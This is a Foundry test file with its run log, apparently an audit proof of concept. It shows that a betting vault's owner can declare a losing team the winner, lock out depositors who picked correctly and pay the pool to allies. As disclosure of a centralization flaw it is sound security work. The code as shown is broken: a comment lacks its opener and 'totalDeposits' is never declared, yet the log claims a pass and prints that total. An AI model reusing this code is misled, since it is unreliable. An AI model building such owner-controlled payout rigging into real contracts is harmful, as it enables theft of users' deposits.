pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "../MockErc20.t.sol";
* @title C-03: Centralization Risk - Arbitrary Winner Selection
* @notice Demonstrates owner can manipulate winner regardless of real-world outcome
*/
contract C03_ArbitraryWinnerSelection is Test {
MockERC20 public mockToken;
BriVault public vault;
address owner = makeAddr("owner");
address ownerFriend = makeAddr("ownerFriend");
address feeAddress = makeAddr("feeAddress");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address carol = makeAddr("carol");
address dave = makeAddr("dave");
address eve = makeAddr("eve");
address frank = makeAddr("frank");
address grace = makeAddr("grace");
uint256 participationFeeBsp = 300;
uint256 eventStartDate;
uint256 eventEndDate;
uint256 minimumAmount = 1 ether;
string[48] countries = [
"Brazil", "Argentina", "France", "Germany", "Spain",
"Portugal", "England", "Netherlands", "Italy", "Croatia",
"Belgium", "Switzerland", "Denmark", "Poland", "Serbia",
"Sweden", "Austria", "Morocco", "Senegal", "Nigeria",
"Cameroon", "Egypt", "South Africa", "Ghana", "Algeria",
"Tunisia", "Ivory Coast", "Japan", "South Korea", "Australia",
"Iran", "Saudi Arabia", "Qatar", "United States", "Canada",
"Mexico", "Costa Rica", "Panama", "Ecuador", "Uruguay",
"Colombia", "Peru", "Chile", "New Zealand", "United Arab Emirates",
"Iraq", "Uzbekistan", "Jordan"
];
function setUp() public {
eventStartDate = block.timestamp + 2 days;
eventEndDate = eventStartDate + 31 days;
mockToken = new MockERC20("Mock Token", "MTK");
mockToken.mint(alice, 200 ether);
mockToken.mint(bob, 300 ether);
mockToken.mint(carol, 250 ether);
mockToken.mint(dave, 150 ether);
mockToken.mint(eve, 100 ether);
mockToken.mint(frank, 50 ether);
mockToken.mint(grace, 50 ether);
mockToken.mint(ownerFriend, 100 ether);
}
function test_ArbitraryWinnerSelection_OwnerManipulation() public {
console.log("=== POC: Arbitrary Winner Selection - Owner Manipulation ===");
console.log("\n--- Step 1: Vault Deployment ---");
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(mockToken)),
participationFeeBsp,
eventStartDate,
feeAddress,
minimumAmount,
eventEndDate
);
vault.setCountry(countries);
vm.stopPrank();
console.log("Vault deployed");
console.log("Event: FIFA World Cup 2026");
console.log("countries[0]: Brazil");
console.log("countries[1]: Argentina");
console.log("\n--- Step 2: Users Participate ---");
console.log("Real-world outcome: Brazil wins World Cup");
console.log("\nHonest users picking Brazil (90% of pool):");
uint256 totalBrazilDeposits = 0;
vm.startPrank(alice);
mockToken.approve(address(vault), 200 ether);
vault.deposit(200 ether, alice);
vault.joinEvent(0);
vm.stopPrank();
totalBrazilDeposits += 200 ether;
console.log(" Alice: 200 ETH -> Brazil");
vm.startPrank(bob);
mockToken.approve(address(vault), 300 ether);
vault.deposit(300 ether, bob);
vault.joinEvent(0);
vm.stopPrank();
totalBrazilDeposits += 300 ether;
console.log(" Bob: 300 ETH -> Brazil");
vm.startPrank(carol);
mockToken.approve(address(vault), 250 ether);
vault.deposit(250 ether, carol);
vault.joinEvent(0);
vm.stopPrank();
totalBrazilDeposits += 250 ether;
console.log(" Carol: 250 ETH -> Brazil");
vm.startPrank(dave);
mockToken.approve(address(vault), 150 ether);
vault.deposit(150 ether, dave);
vault.joinEvent(0);
vm.stopPrank();
totalBrazilDeposits += 150 ether;
console.log(" Dave: 150 ETH -> Brazil");
vm.startPrank(eve);
mockToken.approve(address(vault), 100 ether);
vault.deposit(100 ether, eve);
vault.joinEvent(0);
vm.stopPrank();
totalBrazilDeposits += 100 ether;
console.log(" Eve: 100 ETH -> Brazil");
console.log("\nOwner and friends picking Argentina (10% of pool):");
uint256 totalArgentinaDeposits = 0;
vm.startPrank(frank);
mockToken.approve(address(vault), 50 ether);
vault.deposit(50 ether, frank);
vault.joinEvent(1);
vm.stopPrank();
totalArgentinaDeposits += 50 ether;
console.log(" Frank: 50 ETH -> Argentina");
vm.startPrank(grace);
mockToken.approve(address(vault), 50 ether);
vault.deposit(50 ether, grace);
vault.joinEvent(1);
vm.stopPrank();
totalArgentinaDeposits += 50 ether;
console.log(" Grace: 50 ETH -> Argentina");
vm.startPrank(ownerFriend);
mockToken.approve(address(vault), 100 ether);
vault.deposit(100 ether, ownerFriend);
vault.joinEvent(1);
vm.stopPrank();
totalArgentinaDeposits += 100 ether;
console.log(" Owner's Friend: 100 ETH -> Argentina");
console.log("\n--- Pool Breakdown ---");
console.log("Total pool: ", totalDeposits / 1 ether, "ETH");
console.log("Brazil pool:", totalBrazilDeposits / 1 ether, "ETH");
console.log("Argentina pool:", totalArgentinaDeposits / 1 ether, "ETH");
console.log("\n--- Step 3: Owner Manipulation (ATTACK) ---");
vm.warp(eventEndDate + 1);
console.log("Real-world outcome: Brazil wins");
console.log("Owner action: Declares Argentina as winner");
vm.prank(owner);
string memory declaredWinner = vault.setWinner(1);
console.log("Declared winner:", declaredWinner);
console.log("Owner bypassed real-world verification!");
console.log("\n--- Step 4: Honest Users Cannot Withdraw ---");
console.log("\nBrazil pickers (CORRECT prediction):");
vm.prank(alice);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
vault.withdraw();
console.log(" Alice: REVERTED - Lost 200 ETH");
vm.prank(bob);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
vault.withdraw();
console.log(" Bob: REVERTED - Lost 300 ETH");
vm.prank(carol);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
vault.withdraw();
console.log(" Carol: REVERTED - Lost 250 ETH");
vm.prank(dave);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
vault.withdraw();
console.log(" Dave: REVERTED - Lost 150 ETH");
vm.prank(eve);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
vault.withdraw();
console.log(" Eve: REVERTED - Lost 100 ETH");
console.log("\nArgentina pickers (INCORRECT but declared winners):");
uint256 frankBefore = mockToken.balanceOf(frank);
vm.prank(frank);
vault.withdraw();
uint256 frankReceived = mockToken.balanceOf(frank) - frankBefore;
console.log(" Frank: SUCCESS - Received", frankReceived / 1 ether, "ETH");
uint256 graceBefore = mockToken.balanceOf(grace);
vm.prank(grace);
vault.withdraw();
uint256 graceReceived = mockToken.balanceOf(grace) - graceBefore;
console.log(" Grace: SUCCESS - Received", graceReceived / 1 ether, "ETH");
uint256 friendBefore = mockToken.balanceOf(ownerFriend);
vm.prank(ownerFriend);
vault.withdraw();
uint256 friendReceived = mockToken.balanceOf(ownerFriend) - friendBefore;
console.log(" Owner's Friend: SUCCESS - Received", friendReceived / 1 ether, "ETH");
console.log("\n=== IMPACT SUMMARY ===");
console.log("Honest users (Brazil pickers):");
console.log(" Total deposited:", totalBrazilDeposits / 1 ether, "ETH");
console.log(" Total withdrawn: 0 ETH");
console.log(" Total lost:", totalBrazilDeposits / 1 ether, "ETH");
uint256 totalWithdrawn = frankReceived + graceReceived + friendReceived;
console.log("\nManipulated winners (Argentina pickers):");
console.log(" Total deposited:", totalArgentinaDeposits / 1 ether, "ETH");
console.log(" Total withdrawn:", totalWithdrawn / 1 ether, "ETH");
console.log(" Profit from manipulation:", (totalWithdrawn - totalArgentinaDeposits) / 1 ether, "ETH");
console.log("\nUsers affected: 5/8 (62.5%)");
console.log("Funds stolen from honest users:", totalBrazilDeposits / 1 ether, "ETH");
console.log("Owner/friends profit: ~", (totalWithdrawn - totalArgentinaDeposits) / 1 ether, "ETH");
console.log("Trust destroyed: Complete loss of protocol credibility");
}
}
[PASS] test_ArbitraryWinnerSelection_OwnerManipulation() (gas: 6381457)
Logs:
=== POC: Arbitrary Winner Selection - Owner Manipulation ===
--- Step 1: Vault Deployment ---
Vault deployed
Event: FIFA World Cup 2026
countries[0]: Brazil
countries[1]: Argentina
--- Step 2: Users Participate ---
Real-world outcome: Brazil wins World Cup
Honest users picking Brazil (90% of pool):
Alice: 200 ETH -> Brazil
Bob: 300 ETH -> Brazil
Carol: 250 ETH -> Brazil
Dave: 150 ETH -> Brazil
Eve: 100 ETH -> Brazil
Owner and friends picking Argentina (10% of pool):
Frank: 50 ETH -> Argentina
Grace: 50 ETH -> Argentina
Owner's Friend: 100 ETH -> Argentina
--- Pool Breakdown ---
Total pool: 1200 ETH
Brazil pool: 1000 ETH
Argentina pool: 200 ETH
--- Step 3: Owner Manipulation (ATTACK) ---
Real-world outcome: Brazil wins
Owner action: Declares Argentina as winner
Declared winner: Argentina
Owner bypassed real-world verification!
--- Step 4: Honest Users Cannot Withdraw ---
Brazil pickers (CORRECT prediction):
Alice: REVERTED - Lost 200 ETH
Bob: REVERTED - Lost 300 ETH
Carol: REVERTED - Lost 250 ETH
Dave: REVERTED - Lost 150 ETH
Eve: REVERTED - Lost 100 ETH
Argentina pickers (INCORRECT but declared winners):
Frank: SUCCESS - Received 291 ETH
Grace: SUCCESS - Received 291 ETH
Owner's Friend: SUCCESS - Received 582 ETH
=== IMPACT SUMMARY ===
Honest users (Brazil pickers):
Total deposited: 1000 ETH
Total withdrawn: 0 ETH
Total lost: 1000 ETH
Manipulated winners (Argentina pickers):
Total deposited: 200 ETH
Total withdrawn: 1164 ETH
Profit from manipulation: 964 ETH
Users affected: 5/8 (62.5%)
Funds stolen from honest users: 1000 ETH
Owner/friends profit: ~ 964 ETH
Trust destroyed: Complete loss of protocol credibility
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 53.14ms (12.03ms CPU time)